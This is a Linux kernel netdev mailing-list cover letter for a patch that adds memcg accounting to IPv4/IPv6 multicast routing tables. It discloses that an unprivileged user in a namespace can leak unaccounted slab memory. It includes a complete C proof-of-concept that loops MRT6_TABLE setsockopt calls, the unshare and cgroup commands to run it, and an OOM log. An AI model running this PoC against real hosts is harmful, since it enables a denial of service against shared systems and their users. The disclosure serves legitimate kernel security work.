From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from mail-pg1-f178.google.com (mail-pg1-f178.google.com [209.85.215.178]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 0A0C5438021 for ; Mon, 7 Sep 2026 08:11:04 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=209.85.215.178 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1788768666; cv=none; b=EfgXr3Z8MRawid2TloXSt7QZi/jlTVyN125wlBOPILo1vLnUEZaO/UDhIBdShXbUTr+aGmjqXHDnAUvRxHW2uCE8D8EFbltpy1SFiS9gK1Gr1BPkBW+mR4nAnoFv9/8JpojRDBQ+ESxUSmnTBxkHGb6SCahPoEFtsyXiQd2X/fw= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1788768666; c=relaxed/simple; bh=PU0Gy8mWI8mGFz0qr/5uaaKqZMRrOFxS7IYTDEEg2dY=; h=From:To:Cc:Subject:Date:Message-ID:MIME-Version; b=EkaV/4t4G+9vanVB4zdYRozK8lKyLDvl3luUcggxE2J/yK/C/m5WUU2F/uoZm9nkyjwKoo/XQg3oOKRuOzd2/Knx0TH6jm6XPRdSahP5KC/ZbzbpVUmpljZcTtMmp38zNjkjN50Da8wSyVC2ORX/LN8WU0spGpNgUb2a5iBv55U= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dmarc=pass (p=quarantine dis=none) header.from=nebusec.ai; spf=pass smtp.mailfrom=nebusec.ai; dkim=pass (2048-bit key) header.d=nebusec.ai header.i=@nebusec.ai header.b=i0BFS5jh; arc=none smtp.client-ip=209.85.215.178 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=quarantine dis=none) header.from=nebusec.ai Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=nebusec.ai Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=nebusec.ai header.i=@nebusec.ai header.b="i0BFS5jh" Received: by mail-pg1-f178.google.com with SMTP id 41be03b00d2f7-cc2276e6daeso2230992a12.0 for ; Mon, 07 Sep 2026 01:11:04 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nebusec.ai; s=google; t=1788768664; x=1789373464; darn=vger.kernel.org; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:from:to:cc:subject:date:message-id:reply-to:content-type; bh=VkAI8fReXDq85ydV27naphqQA/gQiEdg3pNh4k24F9g=; b=i0BFS5jh9Wkdjs8glTX9+43SVqrwUssaERgsxsNzDhe5+LRq3nvOKgqzQicerd8HHE 6ZdQXIGxE0aXNj4TBAXb+L8s6HzKuwDr/RwUAV8AWOq6dqbNFk8/UhJIrtmFYBj8Fcxp 1/oJiDo4i1GX31u9sKymwn0oc2xOpYogYRJwnoL2T0AvsbiJZ6f25Hi9xr1OYiPPuj8n pe+UhYtvLpGDVb7dw1Nq2fD/FSxWztnX9ieoOQ5MeqrEjbhpTZWpquXh/9P4voXpvX+2 NDKXT3Qi1/DGJls3SV4wKvi88kYx+JvL1RHbi95FD9Jbxyt6uXYuKuSahXkeGTJwU97d lBqg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20251104; t=1788768664; x=1789373464; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date :message-id:reply-to:content-type; bh=VkAI8fReXDq85ydV27naphqQA/gQiEdg3pNh4k24F9g=; b=C1m2YEM8V6Iu7KmkPRgL0viYWRT2TwF79av8IufmAK/0lU3U9cK5Gm//Fx4oFrr+l2 CywHRkW7RQpNjCMzSqxrozwVOwP0+pbHGWVAYkRjcnO3S2V7VdXTHu+L2r4U/3/DpdQy 71hVRJIgzTHHf+MZWMTOUu+dosxGYr3ViP4JKlBShcBTPDzBPCoyV67qdakgr3/6VDQ3 FgEN1QzXA7921vgElJsL7ODUHsB9XkGuDTdVKk+klqrzaONjmM75KBQNDMHoZQvCr0RY 53MRKT7QBEZGONu1fhlvJlBlmf+lOKNI6CmTbt7KWhg11gouluVbJVDyvKJxX7Nsfoky e9rw== X-Forwarded-Encrypted: i=1; AKwUvBy94BokKNfnA/M947M1Lr3t5MbOS7u9J3MfJlRxqdB6kFo3QlLNV/tgxVrJeK+21ea1nKVvYkNdhQenkn8=@vger.kernel.org X-Gm-Message-State: AFuF++ltRe7TPMf7YEcVs10ZNGyR5ipMlVYhD9gJ5Y4FHcfNLJvtD331 3KDZH5MRAqPYtj0el423F/3x6h9604CtxhJ8F1V28hQzoC8fGz7+F+DIf8CXChw/kOo/ X-Gm-Gg: AYBFou3wqIrsd8ngeC+QjofjdiQBS1ctmOt00ef35kwM6DPQHMjpkpYaWu09enlHG74 MeAqddShvkK2GeBX7hcyKSek1XAF9q1L8D99ABPpoRa3hn3HXrily+1Y2LnBXTwa+a3zg0W2Iay SioBZ6N84BFuNYrgvot9SpytxM8aw9Otysa44qKBfavX0keYcfeUFhKfIGpX4TW6tz0S+HjouGW XPX/LQgMYlRZQ5E4Hdrs71ReJsKCOgWo4lbXxo6EQi+K3VP6FkwT6/b8g/2HJBNUuDeDMHuutpG EM/MW65aKjIr1rULKuS8uEgkX/80bmDqiElZSegkLwzAN6qW/cuVZbJxf7DeCPSmSQFqJNHLS/F yAVB/S1ztGFKTHki6R9R8I0T4w3KkhDb26OxvMiKumnarqAtyGHeNL8qpZSIhFMyugJGXP80xhj a6VlzrNSKfZvCVuMdfhCPBO02uBodlW0TSoEjAJ3eH3pwLvoAMArOrwriAwDhasELWnooONL6xT l9+1c7YpvtlbQGOsfI= X-Received: by 2002:a05:6a21:118e:b0:3d3:adbf:7784 with SMTP id adf61e73a8af0-3da3a1cef30mr34411299637.25.1788768664123; Mon, 07 Sep 2026 01:11:04 -0700 (PDT) Received: from b6ad5085b32f.. ([122.51.212.64]) by smtp.gmail.com with ESMTPSA id 41be03b00d2f7-cc45e15604fsm3494883a12.0.2026.09.07.01.10.59 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Mon, 07 Sep 2026 01:11:03 -0700 (PDT) From: Zihan Xi To: netdev@vger.kernel.org Cc: David Ahern , Ido Schimmel , "David S . Miller" , Eric Dumazet , Jakub Kicinski , Paolo Abeni , Simon Horman , Benjamin Thery , linux-kernel@vger.kernel.org, stable@vger.kernel.org, Vega , Zihan Xi Subject: [PATCH net v3 0/1] ipmr: unaccounted multicast table memory Date: Mon, 7 Sep 2026 08:10:55 +0000 Message-ID: X-Mailer: git-send-email 2.47.3 Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Hi Linux kernel maintainers, We found and validated a issue in net/ipv6/ip6mr.c. The bug is reachable by a non-root user via user and net namespace. We've tested it, and it should not affect any other functionality. We will provide detailed information about the bug in this email, along with a PoC to trigger it. ---- details below ---- Bug details: MRT6_TABLE is supposed to select an IPv6 multicast routing table id. ip6_mroute_setsockopt() currently calls ip6mr_new_table() for every unseen id and links the new mr_table into mr6_tables. The table stays allocated until the net namespace is torn down and was not charged to memcg. A raw ICMPv6 socket created after unshare -Urn therefore has CAP_NET_ADMIN/CAP_NET_RAW in that namespace. It can loop MRT6_TABLE(fresh id) without MRT6_INIT, close the socket, and still leave the tables allocated. On an unfixed 7.3.0-rc1 kernel in a 2 vCPU, 2 GB QEMU VM, ./poc 30000 1 grew Slab from 27644 kB to 150412 kB and SUnreclaim from 19804 kB to 142552 kB. setsockopt() still returned 0; that run did not panic or OOM the host. The same unfixed kernel under a 64M memory.max also finished with RET:0, because the tables were not charged to memcg (memory.current stayed about 414 kB). There is no KASAN stack to decode for the unfixed growth. The first unaccounted IPv6 heap table appeared in commit 4e16880cb422 ("netns: ip6mr: dynamically allocates vif6_table"), which replaced a static vif6_table[] with kcalloc(..., GFP_KERNEL). Commit 6bd521433942 ("ipv6: ip6mr: move mroute data into seperate structure") only wrapped that already-heap state into mr6_table. Commit d1db275dd3f6 ("ipv6: ip6mr: support multiple tables") only expanded the table count from 1 to N, so Fixes: still points at 4e16880cb422. IPv6 MFC entries were already unaccounted from commit 7bc570c8b4f7 ("[IPV6] MROUTE: Support multicast forwarding."); IPv4 ip_mrt_cache is older still. The established way to bound this class of per-netns object is memcg accounting, as done for IP addresses, routes and alternate interface names. The patch charges mr_table with GFP_KERNEL_ACCOUNT and marks the IPv4/IPv6 MFC caches SLAB_ACCOUNT. With a memory.max limit on the container, further table allocations fail and the allocating process is OOM-killed instead of growing unaccounted host slab. The pasted reproducer is the IPv6 MRT6_TABLE loop. It does not cover MRT6_ADD_MFC or IPv4 MRT_TABLE. The OOM log below is from the same PoC after the accounting patch, running as poc.static under a 64M memory.max. The leak is a setsockopt accounting bug, not a packet-sequence bug, so the reproducer is a raw ICMPv6 socket program rather than packetdrill. Reproducer: gcc -O2 -static -o poc poc.c unshare -Urn ./poc We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. The in-guest binary was named poc.static. Unfixed Slab growth used unshare -Urn ./poc.static 30000 1. The decoded OOM log used: echo +memory > /sys/fs/cgroup/cgroup.subtree_control mkdir /sys/fs/cgroup/mrtest echo 64M > /sys/fs/cgroup/mrtest/memory.max bash -c 'echo $$ > /sys/fs/cgroup/mrtest/cgroup.procs; exec unshare -Urn ./poc.static 30000 1' ------BEGIN poc.c------ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include static void die(const char *msg) { perror(msg); exit(1); } static void usage(const char *prog) { fprintf(stderr, "Usage: %s [count] [start_table]\n" " count: number of new MRT6 table ids to allocate (default: 200000)\n" " start_table: first table id to use (default: 1)\n", prog); exit(1); } int main(int argc, char **argv) { unsigned int count = 200000; unsigned int start = 1; unsigned int i; int fd; if (argc > 3) usage(argv[0]); if (argc >= 2) count = strtoul(argv[1], NULL, 0); if (argc == 3) start = strtoul(argv[2], NULL, 0); if (count == 0 || start == 0 || start >= 100000000U) usage(argv[0]); fd = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6); if (fd < 0) die("socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)"); for (i = 0; i < count; i++) { u_int32_t table = start + i; if (table >= 100000000U) { fprintf(stderr, "stopped before invalid table id %u\n", table); break; } if (setsockopt(fd, IPPROTO_IPV6, MRT6_TABLE, &table, sizeof(table)) < 0) { fprintf(stderr, "setsockopt(MRT6_TABLE, %u) failed after %u allocations: %s\n", table, i, strerror(errno)); close(fd); return 2; } if ((i % 10000) == 0) { struct rusage ru; if (!getrusage(RUSAGE_SELF, &ru)) fprintf(stderr, "allocated=%u current_table=%u maxrss_kb=%ld\n", i + 1, table, ru.ru_maxrss); else fprintf(stderr, "allocated=%u current_table=%u\n", i + 1, table); } } fprintf(stderr, "done: allocated %u tables on one socket without MRT6_INIT; closing socket now\n", i); close(fd); sleep(2); fprintf(stderr, "socket closed; tables persist until netns teardown\n"); return 0; } ------END poc.c-------- ----BEGIN crash log---- poc.static invoked oom-killer: gfp_mask=0x400dc0(GFP_KERNEL_ACCOUNT|__GFP_ZERO), order=1, oom_score_adj=0 [ 65.587658] CPU: 1 UID: 0 PID: 294 Comm: poc.static Not tainted 7.3.0-rc1-00241-gd995bc728c32 #3 PREEMPT(lazy) [ 65.587664] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 65.587665] Call Trace: [ 65.587698] [ 65.587699] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120) [ 65.587718] dump_header (mm/oom_kill.c:464) [ 65.587720] oom_kill_process (mm/oom_kill.c:1031) [ 65.587721] out_of_memory (mm/oom_kill.c:1169 (discriminator 4)) [ 65.587723] mem_cgroup_out_of_memory (mm/memcontrol.c:1952) [ 65.587725] try_charge_memcg (mm/memcontrol.c:1975 mm/memcontrol.c:2760) [ 65.587727] __memcg_slab_post_alloc_hook (mm/memcontrol.c:3161 mm/memcontrol.c:3539 mm/memcontrol.c:3669) [ 65.587728] ? __pfx_ip6mr_new_table_set (net/ipv6/ip6mr.c:379) [ 65.587731] __kmalloc_cache_noprof (mm/slub.c:2517 mm/slub.c:4702 mm/slub.c:4996 mm/slub.c:5559) [ 65.587733] ? mr_table_alloc (include/linux/slab.h:991 include/linux/slab.h:1312 net/ipv4/ipmr_base.c:55) [ 65.587734] mr_table_alloc (include/linux/slab.h:991 include/linux/slab.h:1312 net/ipv4/ipmr_base.c:55) [ 65.587736] ? __pfx_ipmr_expire_process (net/ipv4/ipmr.c:3339) [ 65.587737] ip6_mroute_setsockopt (net/ipv6/ip6mr.c:416 net/ipv6/ip6mr.c:408 net/ipv6/ip6mr.c:1873) [ 65.587739] ? update_cfs_rq_load_avg (kernel/sched/fair.c:5687) [ 65.587742] ? kvm_clock_get_cycles (arch/x86/kernel/kvmclock.c:80 (discriminator 1) arch/x86/kernel/kvmclock.c:87 (discriminator 1)) [ 65.587743] ? ktime_get (kernel/time/timekeeping.c:304 kernel/time/timekeeping.c:482 kernel/time/timekeeping.c:1004) [ 65.587746] ? clockevents_program_event (kernel/time/clockevents.c:372) [ 65.587747] do_ipv6_setsockopt (net/ipv6/ipv6_sockglue.c:397) [ 65.587750] ? __cgroup_account_cputime (kernel/cgroup/rstat.c:626 (discriminator 10) kernel/cgroup/rstat.c:637 (discriminator 10)) [ 65.587752] ? update_se (include/linux/cgroup.h:877 kernel/sched/fair.c:1421) [ 65.587753] ? avc_has_perm (include/linux/rcupdate.h:882 security/selinux/avc.c:1164 security/selinux/avc.c:1194) [ 65.587755] ? pick_eevdf (kernel/sched/fair.c:969 kernel/sched/fair.c:1208) [ 65.587757] ? sock_has_perm (security/selinux/hooks.c:4932 (discriminator 1)) [ 65.587758] ipv6_setsockopt (net/ipv6/ipv6_sockglue.c:965) [ 65.587760] do_sock_setsockopt (net/socket.c:2397) [ 65.587777] __sys_setsockopt (net/socket.c:2422) [ 65.587779] __x64_sys_setsockopt (net/socket.c:2428 net/socket.c:2425 net/socket.c:2425) [ 65.587780] do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84) [ 65.587783] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) [ 65.587784] RIP: 0033:0x41d58e [ 65.587786] Code: bc c5 c1 e0 1a 0d 00 00 04 00 89 01 e9 c1 fe ff ff e8 36 02 00 00 66 0f 1f 44 00 00 f3 0f 1e fa 49 89 ca b8 36 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 0a c3 66 0f 1f 84 00 00 00 00 00 48 c7 c2 c0 [ 65.587787] RSP: 002b:00007ffe3f28f9c8 EFLAGS: 00000297 ORIG_RAX: 0000000000000036 [ 65.587789] RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 000000000041d58e [ 65.587790] RDX: 00000000000000d1 RSI: 0000000000000029 RDI: 0000000000000003 [ 65.587790] RBP: 0000000000000001 R08: 0000000000000004 R09: 0000000000000000 [ 65.587791] R10: 00007ffe3f28f9ec R11: 0000000000000297 R12: 0000000005f5e0ff [ 65.587792] R13: 0000000000007530 R14: 0000000000003fb0 R15: 00000000d1b71759 [ 65.587793] [ 65.587803] memory: usage 65536kB, limit 65536kB, failcnt 21 [ 65.587809] swap: usage 0kB, limit 9007199254740988kB, failcnt 0 [ 65.587814] Memory cgroup stats for /mrtest: [ 65.587846] anon 49152 [ 65.587851] file 0 [ 65.587856] kernel 67059712 [ 65.587862] kernel_stack 0 [ 65.587867] pagetables 45056 [ 65.587872] sec_pagetables 0 [ 65.587877] percpu 1280 [ 65.587882] sock 0 [ 65.587887] vmalloc 0 [ 65.587892] shmem 0 [ 65.587897] file_mapped 0 [ 65.587902] file_dirty 0 [ 65.587907] file_writeback 0 [ 65.587912] swapcached 0 [ 65.587917] inactive_anon 45056 [ 65.587940] active_anon 4096 [ 65.587946] inactive_file 0 [ 65.587951] active_file 0 [ 65.587956] unevictable 0 [ 65.587961] slab_reclaimable 13600 [ 65.587966] slab_unreclaimable 66997016 [ 65.587971] slab 67010616 [ 65.587977] workingset_refault_anon 0 [ 65.587978] workingset_refault_file 0 [ 65.587978] workingset_activate_anon 0 [ 65.587978] workingset_activate_file 0 [ 65.587978] workingset_restore_anon 0 [ 65.587979] workingset_restore_file 0 [ 65.587979] workingset_nodereclaim 0 [ 65.587979] pgdemote_kswapd 0 [ 65.587979] pgdemote_direct 0 [ 65.587980] pgdemote_khugepaged 0 [ 65.587980] pgdemote_proactive 0 [ 65.587980] pgsteal_kswapd 0 [ 65.587980] pgsteal_direct 12 [ 65.587981] pgsteal_khugepaged 0 [ 65.587981] pgsteal_proactive 0 [ 65.587981] pgscan_kswapd 0 [ 65.587981] pgscan_direct 12 [ 65.587981] pgscan_khugepaged 0 [ 65.587982] pgscan_proactive 0 [ 65.587982] pgrefill 1 [ 65.587982] pgscan 12 [ 65.587982] pgsteal 12 [ 65.587983] pswpin 0 [ 65.587983] pswpout 0 [ 65.587983] pgfault 108 [ 65.587983] pgmajfault 1 [ 65.587983] pgactivate 1 [ 65.587984] pgdeactivate 1 [ 65.587984] pglazyfree 0 [ 65.587984] pglazyfreed 0 [ 65.587984] swpin_zero 0 [ 65.587984] swpout_zero 0 [ 65.587985] Memory cgroup min protection 0kB -- low protection 0kB [ 65.587985] Tasks state (memory values in pages): [ 65.587986] [ pid ] uid tgid total_vm rss rss_anon rss_file rss_shmem pgtables_bytes swapents oom_score_adj name [ 65.587987] [ 294] 0 294 261 179 12 167 0 40960 0 0 poc.static [ 65.587989] oom-kill:constraint=CONSTRAINT_MEMCG,nodemask=(null),cpuset=/,mems_allowed=0,oom_memcg=/mrtest,task_memcg=/mrtest,task=poc.static,pid=294,uid=0 [ 65.587995] Memory cgroup out of memory: Killed process 294 (poc.static) total-vm:1044kB, anon-rss:48kB, file-rss:668kB, shmem-rss:0kB, UID:0 pgtables:40kB oom_score_adj:0 -----END crash log----- Best regards, Zihan Xi Zihan Xi (1): ipmr: account multicast table and route memory net/ipv4/ipmr.c | 3 ++- net/ipv4/ipmr_base.c | 2 +- net/ipv6/ip6mr.c | 2 +- 3 files changed, 4 insertions(+), 3 deletions(-) base-commit: 641d03105cc0d2437e32fdeec164f91a4ccef6c4 -- 2.43.0